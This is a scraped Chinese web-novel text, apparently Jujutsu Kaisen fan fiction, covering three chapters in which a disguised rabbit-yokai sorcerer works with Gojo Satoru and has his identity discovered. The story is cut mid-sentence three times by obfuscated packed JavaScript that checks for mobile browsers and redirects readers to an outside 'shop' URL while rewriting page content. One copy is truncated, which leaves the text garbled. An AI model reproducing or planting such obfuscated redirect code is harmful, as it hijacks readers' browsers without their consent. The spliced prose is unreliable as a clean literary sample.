《[综咒回]假孕但碰瓷最强后HE了》 1. 第1章:非人咒术师 涂白盯着手机屏幕,第三次确认那条通知。 【紧急调令:一级咒术师涂白,即刻前往新宿区歌舞伎町二丁目废墟,与特级咒术师五条悟协同执行特级咒灵清剿任务。集合时间:14:30。不得延误。——咒术总监部·任务调度科】 他手指悬在拨号键上,犹豫了三秒,还是打了过去。 “喂,调度科吗?我是涂白。”他尽量让声音听起来虚弱些,“关于新宿那个任务,我最近咒力状态不太稳定,上周任务还受了点伤,能不能……” “驳回。” 电话那头是个中年男人的声音,毫无波澜。 “可是——” “五条先生指名要你。”对方打断他,“他说看过你的任务记录,‘闭眼一级咒术师,有点意思’。原话。” 涂白噎住了。 “十四点三十分,别迟到。五条先生讨厌等人。”电话挂断,忙音嘟嘟作响。 涂白把手机扔到沙发上,整个人瘫进靠垫里。 “完蛋了。” 他盯着天花板,脑子里已经开始预演各种悲惨结局:被六眼看穿真身,被当成异常咒灵祓除,被押送回中国(偷渡的),被爸妈骂死…… 不行。 他一个鲤鱼打挺坐起来,抓了抓那头乱翘的黑色卷毛。红眼睛在室内光线里显得有点暗。 “冷静,涂白,你能行。”他对着空气说话,“见到五条悟,低头,装乖,问什么答什么,不多说一句。完成任务立刻消失,绝不交流。就当是个普通前辈……虽然他根本不可能普通。” 但那可是五条悟。 咒术界战力天花板,御三家五条家的现任家主,传说中性格恶劣到连总监部老橘子们都头疼的存在。 最重要的是——六眼。 那双眼睛据说能看穿一切咒力流动。 涂白低头看自己的手心。淡银色的妖力在皮肤下隐约流转,和这个国家的咒力体系相似但本质不同。他能模仿,但遇到真正的行家…… “不会被看穿的。”他自言自语,“这么多年来都没人发现,区区一个五条悟……” 这话说出来他自己都不信。 --- 下午两点二十分,涂白提前十分钟抵达集合点。 歌舞伎町这片废墟是半个月前一场咒灵袭击的现场,残垣断壁上还残留着焦黑痕迹。警戒线外有几个辅助监督在待命,看见他过来,纷纷点头致意。 “涂白先生。”一个戴眼镜的年轻男人走过来,是伊地知洁高,“五条先生已经在了。” 涂白顺着他指的方向看去。 废墟中央有截没完全倒塌的水泥柱,柱子上坐着个人。 白发,黑色眼罩,一身黑色高专制服,长腿随意支着。那人正低头吃什么东西,手指捏着个白色团子,动作慢悠悠的。 即使隔着一段距离,涂白也能感觉到某种……压强。 不是杀气,也不是恶意。就是一种纯粹的“存在感”,像走近一座山,或者站在深海边缘。空气里的咒力都在朝那个方向微微流动。 涂白深吸一口气,走过去。 他刻意放重了脚步,踩在碎石上发出声响。但直到他走到水泥柱前五米处,对方才抬起头——准确说是抬了抬下巴,因为眼睛被眼罩遮着。 “哟。”五条悟说,声音比想象中年轻,带着点懒洋洋的调子,“提前了八分钟,不错嘛。” 涂白站定,九十度鞠躬。 “五条前辈,下午好。我是一级咒术师涂白,编号779,本次任务担任您的辅助。请多指教。” 他保持鞠躬姿势,眼睛盯着地面。碎石缝里有只蚂蚁在爬。 安静了几秒。 然后他听见塑料袋窸窣声,脚步声,接着是鞋尖进入他的视野——黑色的皮鞋,一尘不染。 “抬头。” 涂白直起身。 五条悟已经站在他面前,距离近得有点过。涂白这才真切意识到对方有多高——他自己176,在普通人里不算矮,但现在得微微仰头才能看到对方的下巴。 而且这人真的白。白发白皮肤,连睫毛都是浅色的。黑色眼罩遮住大半张脸,但露出挺直的鼻梁和线条清晰的嘴唇。嘴角还沾着一点白色奶油。 五条悟歪了歪头。 然后他做了一个涂白完全没想到的动作——抬起手,用食指和中指勾住眼罩下缘,往下一拉。 眼罩滑到鼻梁中间,露出一双眼睛。 涂白的呼吸停了。 那不是人类该有的眼睛。虹膜是冰蓝色的,像冻住的天空,深处有细碎的光在流转。瞳孔极小,看过来的时候,涂白有种被X光从头到脚扫过的错觉。 六眼。 那双眼睛盯着他,从上到下,从左到右,扫了一遍。速度很快,但涂白觉得像过了十分钟。 然后五条悟笑了。 不是礼貌的笑,是那种发现有趣玩具的笑。他重新拉好眼罩,但嘴角的弧度更明显了。 “哦?”他说,“你不是人吧。” 涂白浑身僵硬。 脑子里瞬间闪过十七八种应对方案:否认、装傻、反问、逃跑……但身体先于大脑做出反应——他站在原地,像被钉住的水泥桩,连手指都没动一下。 五条悟等了两秒,没等到回答,笑得更开了。 “吓到了?”他转身走回水泥柱,从塑料袋里又摸出一个喜久福,递过来,“要吃吗?紧张的话。” 涂白盯着那个抹茶味的团子,机械地伸手接过。 “谢……谢谢前辈。” 他的声音有点干。 五条悟重新坐回水泥柱上,长腿一晃一晃。“不用那么拘谨啦,我又不会吃了你。”他咬了一口自己的喜久福,含糊地说,“非人咒术师我又不是没见过,高专的熊猫不就是?虽然你是……嗯,第一种。” 涂白捧着喜久福,没敢吃。 “前辈怎么……” “看出来的?”五条悟咽下甜品,“咒力流动方式不一样。普通术师的咒力是从‘负面情感’转化来的,路径很……怎么说呢,浑浊?你的很干净,而且有某种固定韵律,像呼吸一样自然。还有你构筑术式留下的残秽——虽然你清理得很干净,但六眼还是能看到一点点痕迹。那些纹路不是咒纹吧?” 涂白沉默。 “不想说也没关系。”五条悟耸耸肩,“反正我对种族歧视没兴趣。只要能祓除咒灵,你是兔子精还是狐狸精都无所谓。” “是兔妖。”涂白小声说。 说完他就想咬舌头。 但五条悟已经笑出声了。“兔子?怪不得。”他上下打量涂白,“黑毛红眼,还挺少见的。耳朵呢?能变出来看看吗?” “不能。”涂白立刻说,“化形很完整的。” “真遗憾。”五条悟听起来一点不遗憾,“那尾巴呢?” “没有。” “哎——没意思。” 涂白终于抬起头,看向五条悟。对方已经吃完第二个喜久福,正舔着指尖的奶油。动作随意得不像来执行特级任务,像在公园野餐。 “前辈,”涂白努力让声音平稳,“关于我的身份,能否请您……” “保密?”五条悟接话,“可以啊。作为交换——” 他跳下水泥柱,走到涂白面前,又凑近了些。这次涂白没后退,尽管本能叫嚣着快跑。 “告诉我你的术式细节。”五条悟说,“‘构筑术式’我见过几个,但你的不太一样。刚才说了,纹路不同,而且……”他点了点自己的太阳穴,“六眼能看到更深层的东西。你的构筑物,强度和你投入的‘那个力量’成正比,但消耗方式不是线性增长。有意思。” 涂白握紧手里的喜久福,塑料纸发出细微响声。 他在快速思考。 五条悟显然已经看穿了很多,但似乎没有敌意。至少现在没有。而且对方愿意谈条件,这是好事。 “……我的术式,是用自身能量构筑出想象中的物体。”涂白选择说部分实话,“越复杂、越大、持续时间越长,消耗越大。通常维持形态需要持续供能,但如果构筑时压缩能量密度,可以做成半永久的‘咒具’——我是说,术式道具。” “能构筑生命体吗?” “不能。只能是无机物或简单结构。” “最大能到什么程度?” “试过一栋三层楼的水泥结构,维持了十分钟。”涂白说,“之后躺了三天。” 五条悟吹了声口哨。 “不错嘛。那今天这个咒灵——资料看了吧?精神污染型,会制造幻觉,本体躲在废墟深处。我需要你构筑一个封闭结界,把它困在一定范围内,别让它跑了。能做到吗?” “需要知道具体范围和地形。” “伊地知!”五条悟转头喊。 一直站在远处的伊地知小跑过来,手里拿着平板。“五条先生,这是废墟的地下结构图。咒灵最后被观测到的位置在这——”他指向地图中央的一个红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122992|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点,“地下二层停车场。但它的能力可以穿透墙壁,活动范围可能覆盖整个地下三层,约八千平方米。” 涂白在心里快速计算。 八千平方米,立体封闭结界,考虑到咒灵可能冲击…… “需要至少三分钟准备时间,而且构筑期间不能受干扰。”他说,“结界最多维持二十分钟。强度可以抵挡特级咒灵的全力冲击三次。” “够了。”五条悟说,“我用不了二十分钟。三分钟……行,我给你争取。” 他转向伊地知:“让所有辅助监督再后退两百米,设次级警戒线。地下可能还有没疏散干净的残秽,普通人靠近会疯。” “是。” 伊地知离开后,现场又只剩他们两人。 五条悟从口袋里摸出个小盒子,倒出两颗糖,扔了一颗给涂白。“补充点能量。一会儿别拖后腿啊,小兔子。” 涂白接住糖,是柠檬味的硬糖。他剥开塞进嘴里,酸味在舌尖炸开。 “我不会拖后腿的,前辈。” “最好不会。”五条悟把另一颗糖抛起,用嘴接住,“走吧,开工了。” 他朝废墟深处走去,脚步轻松得像去逛街。涂白跟在他身后半步,终于把手里的喜久福塞进外套口袋。 紧张感还在,但奇异地混合了一丝……兴奋? 和最强合作,如果他表现好,说不定以后能搭上这条线。五条悟在咒术界的话语权极大,如果能得到他的认可,自己的处境会安全很多。 当然,风险也极大。 走在前面的五条悟突然开口:“对了,你多大了?” “十九。”涂白说。 “哦,那比我小九岁。还在上学?” “东京大学,一年级。” “哇,学霸啊。什么专业?” “文学部。” “文学部的兔子咒术师……”五条悟笑,“你这身份配置还挺复杂。” 他们穿过一道倒塌的墙壁,进入建筑内部。光线暗下来,空气里有灰尘和焦糊味。五条悟不知从哪摸出个小手电,照亮前方。 “前辈,”涂白犹豫了一下,“您不问我为什么隐瞒身份吗?” “想说的话你自己会说。”五条悟头也不回,“每个人都有自己的秘密。只要不危害他人,不违反我的原则,我才懒得管。” “您的原则是?” “我高兴就行。” 涂白闭嘴了。 他们沿着楼梯往下走,地下室的空气更阴冷。咒力残秽越来越浓,像粘稠的雾气缠在脚边。涂白本能地绷紧神经,妖力在体内缓缓流动,随时准备构筑防御。 “感觉到了吗?”五条悟的声音低了些。 “嗯。很浓的负面情绪……恐惧、绝望、还有强烈的憎恨。” “这个咒灵是由歌舞伎町火灾遇难者的怨念聚集的。”五条悟说,“半年前那场大火死了二十多人,事后调查是电路老化,但家属们不接受,觉得是开发商故意纵火骗保。怨念一直没散,加上这片地本来就有历史遗留的负面能量……养出个特级也不奇怪。” “您了解得很清楚。” “任务资料上写的。”五条悟停在一扇半塌的铁门前,“不过我觉得不全对。咒灵的怨念里,还有一种很强烈的‘被背叛’的情绪……有意思。” 他推开铁门。 门后是地下二层停车场。空旷,昏暗,只有几盏应急灯在闪烁。地面有积水,倒映着扭曲的光。 正中央,有个东西蹲在那里。 一开始涂白以为是堆破烂衣物,但很快他看清了——那是个类人形的轮廓,由焦黑的肢体、融化的塑料和扭曲的金属拼接而成。没有头,躯干中央裂开一道缝,里面是密密麻麻的眼睛。 所有眼睛都闭着。 “还在睡。”五条悟轻声说,“好,就现在。小兔子,开始构筑。我来叫醒它。” 涂白点头,双手合十。 妖力从体内涌出,在掌心凝聚。他闭上眼睛,在脑中构建结界的结构——立体的六边形网格,每个节点加固,整体覆盖整个地下二层及上下楼板。 银色的光从他掌心溢出,像水流般向四周扩散,触及墙壁后开始向上向下蔓延。细微的妖纹在光线中一闪而过,像某种古老的符文。 五条悟站在他身前,看着那个咒灵。 然后他打了个响指。 声音不大,但在寂静的空间里格外清晰。 咒灵身上所有的眼睛,同时睁开了。 2. 第2章:闭眼斩 那双眼睛睁开的时候,涂白觉得自己的呼吸被掐住了。 不是一双眼睛——是几十双,可能上百双,密密麻麻挤在咒灵躯干中央的裂缝里。每只眼睛的颜色都不一样,焦褐的、浑浊的、充血猩红的,全都朝同一个方向转动,锁定了站在铁门边的两个人。 然后所有眼睛同时眨了一下。 停车场消失了。 不是视觉上的消失,是空间本身被替换了。涂白前一秒还站在水泥地面上,下一秒脚下变成了湿滑的、有弹性的某种东西。光线被抽空,四周陷入彻底的黑暗,连五条悟手里那点手电光都不见了。 不,不是完全的黑暗。 黑暗中开始浮现出光斑,扭曲的、晃动的,像水底倒影。涂白听见声音——不是从耳朵传来的,是直接钻进脑子里的声音。哭泣,尖叫,玻璃碎裂,火焰燃烧时的噼啪声。还有人在说话,重复的,执拗的: “为什么是我们……” “好痛……” “一起死吧……” 涂白的妖力还在往外涌,结界构筑到一半,但突然失去了坐标定位。他咬牙想维持,但脑子里那些声音越来越响,眼前的光斑开始聚合成形。 先是影子。 巨大的、扭曲的影子,从黑暗深处爬出来。涂白认出那是咒灵,各种形态的,他在任务记录里见过图片的,听前辈描述过的。蜈蚣状的多节身体,长满人脸的肉球,像烂泥一样流淌的黑色物质……但它们都比记忆里大得多,大两三倍,遮天蔽日地压过来。 涂白后退一步,脚后跟撞到什么东西。他低头,看见积水——不,是血水,暗红色的,漫过脚踝。水里有东西在动,细长的,像手指。 “幻象。”他对自己说,“是幻象,咒灵的能力,不能信——” 话没说完,他看见了自己。 不是镜子里的倒影,是真实的、另一个涂白,站在他对面十米外。那个“涂白”穿着一样的衣服,但浑身湿透,头发贴在脸上。他背后是机场海关的通道口,几个穿制服的工作人员正朝他走来,手里拿着封条和文件。 “偷渡者。”其中一个工作人员说,声音和咒灵的低语混在一起,“没有合法身份,没有签证,依据出入境管理法……” “遣返。”另一个说。 “立即执行。” 那个“涂白”转过头,看向真正的涂白。他的眼睛是空的,没有瞳孔,只有两个黑洞。他张嘴,发出涂白自己的声音: “跑不掉的。” 涂白的耳朵开始发痒。 不是比喻,是真的生理反应——耳根发热,发胀,有种要突破头皮冒出来的冲动。他死死捂住耳朵,手指掐进头发里,深呼吸。 冷静,冷静,这是幻象,是咒灵挖掘你记忆制造的恐惧投影。你没有被遣返,你在日本有登记身份,虽然是伪造的但档案齐全。你是合法咒术师,一级的,总监部备案过的…… 但另一个念头冒出来:如果五条悟看穿了,如果他上报了,如果总监部重新审核你的身份档案—— “不要。” 涂白听见自己说,声音在发抖。 那些巨大的咒灵影子又靠近了。海关工作人员抓住了那个“涂白”,给他戴上手铐。幻象里的自己开始挣扎,大喊,但声音被掐断,只剩无声的嘶喊。 “不要过来……” 涂白闭上眼睛。 黑暗更浓了,但至少看不见那些东西。耳朵还在痒,他腾出一只手去摸耳根——皮肤发烫,能摸到软骨在轻微蠕动。妈的,真的要现原形了,在这种时候。 他听见脚步声。 不是幻象里的,是真实的,从黑暗深处走来。很轻,但每一步都踩在某种粘稠物质上,发出噗叽噗叽的声响。还有呼吸声,不是人类的,是几十个喉咙同时吸气呼气,混成一片潮湿的嗡鸣。 越来越近。 五米。三米。 涂白脑子里那根弦,啪一声断了。 “你不要过来啊——!!!” 他尖叫,同时双手往前一推。不是有意识的术式发动,纯粹是本能。体内妖力像炸开的水库,疯狂涌向掌心,然后喷薄而出。 银光爆闪。 不是结界那种温和扩散的光,是凝聚的、尖锐的、有实体的光。它在涂白手中成型,拉长,变宽——变成了一把刀的形状。 不,不是一把刀。 是一把巨大到离谱的刀。 涂白自己都愣了。他闭着眼,但能通过妖力“感觉”到手中的东西:长度超过十米,刀身最宽处有一米多,通体流转银色妖纹,边缘薄得近乎透明。重量……几乎没有重量,因为它是纯粹妖力构成的,但他必须持续供能才能维持形态。 而此刻,妖力正像失控的洪水一样往刀里灌。 “停……”涂白想收手,但停不下来。恐惧还在,本能还在尖叫,他的手自己动了起来——握着那把根本不存在的刀柄,横向一挥。 没有声音。 但涂白感觉到阻力。刀锋切开了什么东西,很多个,软硬不一。有什么粘稠的液体溅到他脸上,温热的,带腥味。 他不敢睁眼,继续挥。 第二刀,竖劈。 第三刀,斜斩。 他不知道自己砍的是什么,也不管方向,就是闭着眼睛乱挥。脑子里只有一个念头:让这些东西消失,全部消失,别靠近我,别抓我回去—— “够了。” 一只手按在他手腕上。 涂白的动作僵住。妖力还在奔涌,但被某种更强的力量压住了,强行截断。他手中的巨刀闪烁几下,化作银光碎屑消散在黑暗里。 涂白睁开眼。 黑暗正在褪去,像潮水退潮。先是边缘,然后中间,光线重新渗进来。他看见水泥天花板,应急灯,还有满地的—— 碎片。 咒灵的碎片。 那个由焦黑肢体和扭曲金属组成的怪物,现在变成了一地残骸。不是被暴力打碎的那种,是被精准切割的。涂白看见一段焦黑的胳膊,断面平整;看见半张融化的塑料脸,从正中分成两半;看见那些眼睛,每一只都被从中央劈开,整整齐齐。 而他刚才闭着眼睛乱挥的那几刀,在地面和墙壁上留下了深深的斩痕。三道,交错在一起,形成一个歪斜的三角形。斩痕切开了水泥,露出里面的钢筋,钢筋也是断的,切口光滑。 停车场恢复了原状。 积水还在,但血色没了。幻象消失了,海关通道,工作人员,那个“自己”,全都不见了。只有五条悟站在他面前,手还握着他手腕。 “前、前辈……”涂白喘着气,耳朵的痒感终于退下去一点,“我……” “别动。”五条悟说。 他没看涂白,在看那些碎片。眼罩还戴着,但涂白感觉他在“看”,用那双被遮住的眼睛仔细地看。他松开涂白的手腕,走到最近的一块碎片旁,蹲下,用手指戳了戳。 “一击致命。”五条悟说,声音里有点……困惑?“不,三击,但第一刀就切断了核心。第二刀破坏了能量循环节点,第三刀彻底粉碎结构。精准得像解剖。” 他站起来,转向涂白。 涂白还站在原地,手在抖。脸上有溅到的液体,他抬手抹了一把,是暗红色的,但很快变成黑烟消散了——咒灵的血。 “你刚才,”五条悟慢慢说,“闭着眼睛对吧?” “……是。” “为什么?” “因为害怕。”涂白老实说,“那些幻象……我不想看。” 五条悟沉默了几秒。 然后他突然笑了。不是之前那种发现有趣玩具的笑,是更深的、带着探究意味的笑。 “有意思。”他说,“你闭着眼睛,但每一刀都砍在最该砍的地方。咒灵的核心藏在第三段脊椎骨里,被焦炭和塑料裹着,我本来打算用苍把它吸出来再捏碎。你直接隔着两层护甲砍中了,分毫不差。” 涂白低头看自己的手。 “我的术式……构筑的时候需要想象物体结构。可能……可能我对‘生命体’的结构也……” “不是‘可能’。”五条悟打断他,“你就是能‘看’到。不是用眼睛,是用你的妖力感知。闭眼的时候,视觉干扰没了,感知反而更清晰。所以你才能砍那么准。” 他走到涂白面前,距离又近了。 涂白下意识想后退,但脚像钉在地上。 “再做一次。”五条悟说。 “什么?” “闭眼,构筑那把刀,随便砍点什么。”五条悟指了指旁边一根裸露的钢筋,“砍那个试试。” 涂白犹豫了一下,照做。 他闭上眼睛,深呼吸,调动妖力。这次是有意识的,速度慢了点,但银色光芒还是从掌心溢出,凝聚成刀形。比刚才小得多,大概就正常太刀的大小。 他握着刀,朝钢筋的方向挥了一下。 没砍中。 刀锋离钢筋还有半米远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122993|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “睁眼。”五条悟说。 涂白睁开眼,看见自己砍歪了。 “果然。”五条悟点头,“睁眼的时候你会依赖视觉,但视觉会骗你。黑暗环境,幻象干扰,视觉信息全是错的。闭眼的时候,你只能依赖妖力感知——而那个感知,比你的眼睛靠谱多了。” 他顿了顿,补充:“至少在战斗方面。” 涂白散掉刀,银色光芒缩回掌心。他有点懵,这个特性自己从来没发现过。平时任务他都睁着眼,构筑东西也靠视觉定位。只有刚才,吓到极致了,本能反应…… “你之前任务记录里,”五条悟说,“有七次‘闭眼状态下意外精准祓除咒灵’的备注。辅助监督写的评价是‘可能是应激状态下的潜力爆发’。但我觉得不是。” 他摘下眼罩。 那双冰蓝色的眼睛再次出现,这次涂白稍微适应了点,但还是不敢直视。 “你的妖力感知,本质上是一种结构扫描。”五条悟说,“你构筑物体时需要理解它的结构,对吧?那理解的方式,就是先用妖力‘摸’一遍。这个能力对咒灵也有效。咒灵虽然乱七八糟,但核心、能量节点、薄弱点——这些都是结构。你‘摸’到了,所以能砍中。” 他拉回眼罩,拍拍手。 “哇,闭眼一级咒术师,果然与传闻中的一样有趣~” 涂白不知道该说什么。 五条悟转身走向出口,走了两步又回头:“结界不用维持了,咒灵死了。把残秽清理一下,我在外面等你。” 他离开后,涂白才彻底松懈下来,腿一软,差点坐地上。他扶着墙,深呼吸几次,开始清理现场。 妖力扫过,地上的碎片和黑烟慢慢消散。斩痕还在,但他用妖力稍微修补了一下水泥表面,至少看起来不那么吓人。做完这些,他抹了把额头,全是冷汗。 走出地下停车场时,阳光有点刺眼。伊地知和辅助监督们围上来。 “解决了?”伊地知问。 “嗯。”涂白点头,“咒灵已经祓除,地下残秽清理完毕。结界没有完整展开,但应该不需要了。” “五条先生呢?” “在外面……” 话没说完,涂白看见五条悟站在废墟边缘,正跟什么人打电话。他背对着这边,但手势很大,似乎在说什么有趣的事。 涂白走过去,想打个招呼然后告辞。 五条悟刚好挂电话,转过来看见他,笑了。 “哦,收拾完了?效率挺高。”他朝涂白走来,很自然地伸出手,朝涂白的头顶落下—— 涂白条件反射地后退三步。 五条悟的手停在半空。 两人都愣了一下。 “啊,”涂白赶紧说,“对不起前辈,我……” “怕我?”五条悟放下手,歪头。 “不是,就是……不习惯。”涂白说得有点艰难,“不太习惯被人碰。” 这是实话。兔妖的本体敏感,耳朵和脊背尤其不能碰。头部虽然好些,但他从小就不喜欢别人揉他头发——兔一兔三也不行。 五条悟盯着他看了两秒,然后笑了。 “行吧。”他收回手,插回裤兜,“今天任务完成得不错。报告我会写,你的功劳占七成。” “不用那么多,前辈,我——” “事实而已。”五条悟打断他,“对了,下周还有个任务,特级咒胎,在埼玉。我需要一个能构筑封闭结界的人。你来吗?” 涂白张了张嘴。 他想拒绝。跟五条悟合作太刺激了,心脏受不了。而且今天被看穿太多,再接触下去风险太大。 但话到嘴边,变成了: “具体时间?” “周三下午,细节我让伊地知发你。”五条悟说着,掏出手机按了几下,“你联系方式给我。” 涂白报了一串号码。 五条悟存好,抬头看他:“那就这么定了。今天辛苦了,小兔子。” 他转身离开,走了几步,又回头。 “对了,”他说,“你耳朵刚才,差一点就冒出来了。” 涂白浑身一僵。 “不过只有我看见了。”五条悟眨眨眼——虽然戴着墨镜看不见,“下次控制好情绪哦~” 他挥挥手,消失在废墟拐角。 涂白站在原地,半晌,抬手摸了摸耳根。 皮肤还有点烫。 完蛋了,他想。 真的完蛋了。 3. 第3章:妖力研究申请 周三下午的埼玉任务,比涂白预想的要平静。 咒胎还没完全孵化,藏在一所废弃小学的体育馆里。五条悟负责主攻,涂白的任务是在体育馆外围构筑一道隔离结界,防止咒胎逃跑或能量外泄。 这次他睁着眼睛。 虽然五条悟说了闭眼可能更准,但涂白还是选择相信自己的视觉。他站在体育馆外,双手按在地面,妖力顺着水泥地板蔓延,像树根一样钻进建筑地基,然后向上生长,在空中合拢。 银色的结界成型,表面流转着细微的纹路。 涂白维持着结界,从外面能听见里面传来闷响,像什么东西在撞击。然后是五条悟的声音,懒洋洋的:“别跑呀——哎,真不听话。” 轰隆一声。 结界震动了一下,但没破。涂白加大妖力输出,稳住结构。 几分钟后,体育馆大门被推开。五条悟走出来,手里拎着一团不断蠕动的黑色物质,像一大坨沥青。那东西表面布满眼睛,但全都闭着,有些还在流脓。 “搞定。”五条悟把咒胎扔给等在旁边的伊地知,“特级咒胎,已祓除。残秽浓度偏高,建议封锁区域三天。” “是。”伊地知接过咒胎,用特制容器装好。 五条悟走向涂白,结界还维持着。他伸手碰了碰结界表面,银色波纹荡开。 “强度不错。”他评价,“能抗住我刚才那一发‘苍’的余波。你加固了节点?” 涂白点头:“加了三角支撑结构,每个交点都……” 他停住了。 五条悟正看着他,眼罩下的表情看不清,但嘴角是上扬的。 “……前辈怎么知道?” “看到的。”五条悟说,“六眼能看见能量流动。你的结界结构很清晰,像建筑设计图一样。哪儿厚哪儿薄,哪儿有节点,一目了然。” 涂白沉默着散掉结界。银色光芒缩回掌心,地面和空气中残留的妖纹渐渐淡去。 “走了。”五条悟拍拍他肩膀,“报告会明天上午九点,别迟到。” 涂白没躲开这次触碰。肩膀被拍了两下,不重,但他整个人都绷紧了。 --- 第二天早上八点五十,涂白抵达咒术总监部大楼。 这地方他来过几次,每次都不舒服。建筑很老,装修是昭和风格,深色木地板,墙壁上挂着历任总监的肖像画。空气里有股陈旧纸张和线香味混合的味道。 会议室在二楼尽头。涂白推门进去时,里面已经坐了几个人。 主位空着,两侧是几位高层,都是老头子,穿着和服或西装,表情严肃。辅助监督坐在靠墙的位置,伊地知也在。五条悟还没来。 涂白找了个角落坐下,低头翻看自己带来的任务报告草案。 八点五十九分,门被推开。 五条悟进来了,没穿高专制服,换了身黑色休闲装,外面套了件白色外套。墨镜换成了圆形小镜片的那种,架在鼻梁上。他手里拿着杯咖啡,吸管咬在嘴里。 “早啊各位——”他拖长声音,走到主位旁边的位置坐下,没坐主位,但架势像他才是主人。 一位高层清了清嗓子。 “五条君,涂白君,关于昨日埼玉市特级咒胎祓除任务,请简要汇报。” 五条悟举手:“我先来?” 高层点头。 “任务目标:特级咒胎,位于埼玉市立第三小学废弃体育馆。我于下午两点四十分抵达现场,确认目标处于孵化中期。两点四十五分,涂白术师在外围构筑隔离结界,强度达标。两点五十分,我进入体育馆,使用术式‘苍’压缩咒胎核心,两点五十五分祓除完成。残秽已清理,区域建议封锁七十二小时。完毕。” 他说得飞快,像背课文。 高层转向涂白:“涂白君,结界构筑的详细参数?” 涂白站起来:“结界范围覆盖整个体育馆及周边十米,立体结构,最高点离地十五米。基础厚度三十厘米,关键节点加固至五十厘米。持续时长十二分钟,最大承受冲击力相当于特级咒灵全力攻击三次。构筑期间咒力——妖力消耗约四成,无不良反应。” 他差点说漏嘴,及时改口,但心跳快了一拍。 几位高层低声交流了几句。其中一个戴眼镜的老头看向五条悟:“五条君,你确认结界强度足够?” “足够。”五条悟说,“我测试过了。哦对了——” 他突然举手,像课堂上提问的学生。 “总监部,我有个申请。” 会议室安静下来。 涂白有种不好的预感。 “我想申请研究涂白术师的‘特殊咒力构成’。”五条悟说,语气轻松得像在点菜,“为期三个月,每周一到两次测试。需要借用高专的训练场和部分设备。” 涂白手里的报告纸被捏皱了。 “理由?”另一个高层问,声音低沉。 “为了更好地合作嘛。”五条悟晃了晃咖啡杯,“你们也看到了,他的术式很特殊,构筑速度和强度都超过一般同级术师。如果能解析他的力量运作方式,说不定能开发出新战术,或者改进现有结界技术。” 他顿了顿,补充:“而且他怕咒灵的样子超~有趣。我想看看他在不同压力下的反应。” 最后那句话让几个高层皱起眉。 但没人反对。 沉默持续了十几秒。戴眼镜的老头看了看其他人,慢慢点头:“可以。但所有测试数据需提交副本给技术部。不得对研究对象造成永久性损伤。” “当然当然。”五条悟笑,“我很温柔的。” 涂白站在那儿,感觉自己像被拍卖的商品。他想说话,想说“我不同意”,但喉咙发紧,一个字都挤不出来。 会议结束了。高层们陆续离场,辅助监督们收拾东西。五条悟喝完最后一口咖啡,把纸杯捏扁,扔进垃圾桶。 他朝涂白走来。 “吓到了?”他问。 涂白没回答,转身就走。 他快步走出会议室,穿过走廊,下楼梯,推开一楼大门。外面是庭院,种着几棵松树。他走到树下,背靠树干,深呼吸。 冷静,涂白,冷静。 研究申请……只是研究。五条悟说了,不会说出去。他应该只是想探究妖力的特性,满足好奇心。三个月,每周一两次,忍一忍就过去了…… “跑这么快干嘛?” 涂白猛地抬头。 五条悟不知什么时候跟出来了,站在他面前三步远的地方,手插在外套口袋里。 “前辈。”涂白努力让声音平稳,“关于那个研究申请,我——” “你不愿意?”五条悟歪头。 “不是不愿意,只是……”涂白斟酌用词,“我的术式真的没什么特别的。可能就是妖——咒力控制精度高一点,不值得专门研究。” 五条悟笑了。 他往前走了一步,涂白没退,但背脊绷直了。 “涂白,”五条悟说,声音低了些,“你知道你的构筑物上,有花纹吗?” 涂白一愣。 “很细,银色的,像某种符文。普通术师看不见,六眼能看见。”五条悟又往前一步,两人距离只剩半米,“我第一次见你的时候,地下停车场,你构筑结界,那些花纹就在地上闪。很漂亮。” 涂白手心开始冒汗。 “我查了点资料。”五条悟继续说,语气还是轻松的,但每个字都像钉子砸进涂白耳朵里,“古老咒术体系里有一种‘言灵纹’,用特定文字和图案增幅术式效果。但你的纹路不一样,更……自然?像植物脉络,或者动物皮毛上的斑纹。” 他弯腰,凑到涂白耳边。 涂白能闻到他身上淡淡的咖啡味和某种清爽的皂角香。 “是妖纹吧?”五条悟轻声说。 涂白如坠冰窟。 全身的血液好像瞬间凉了。耳朵又开始发痒,发烫,他死死掐住手心,指甲陷进肉里。 五条悟直起身,退后半步,看着他的表情。 “果然。”他说,笑得灿烂,“放心,我不说。刚才会上我也没说,以后也不会说。我对揭发你没兴趣。” 涂白张了张嘴,发不出声音。 “但是,”五条悟竖起一根手指,“你要答应我一件事。” “什么……事?” “下周任务,还要和我搭档哦。”五条悟说,“而且之后三个月的研究测试,你要配合。不准请假,不准装病,不准逃跑。” 他想了想,补充:“当然,我会付你加班费。按特级任务算,怎么样?” 涂白脑子很乱。 身份暴露了,把柄在别人手里,他没得选。但五条悟开出的条件……不算苛刻。甚至可以说优待。配合研究,拿高额报酬,还能继续和最强组队,安全系数其实更高。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 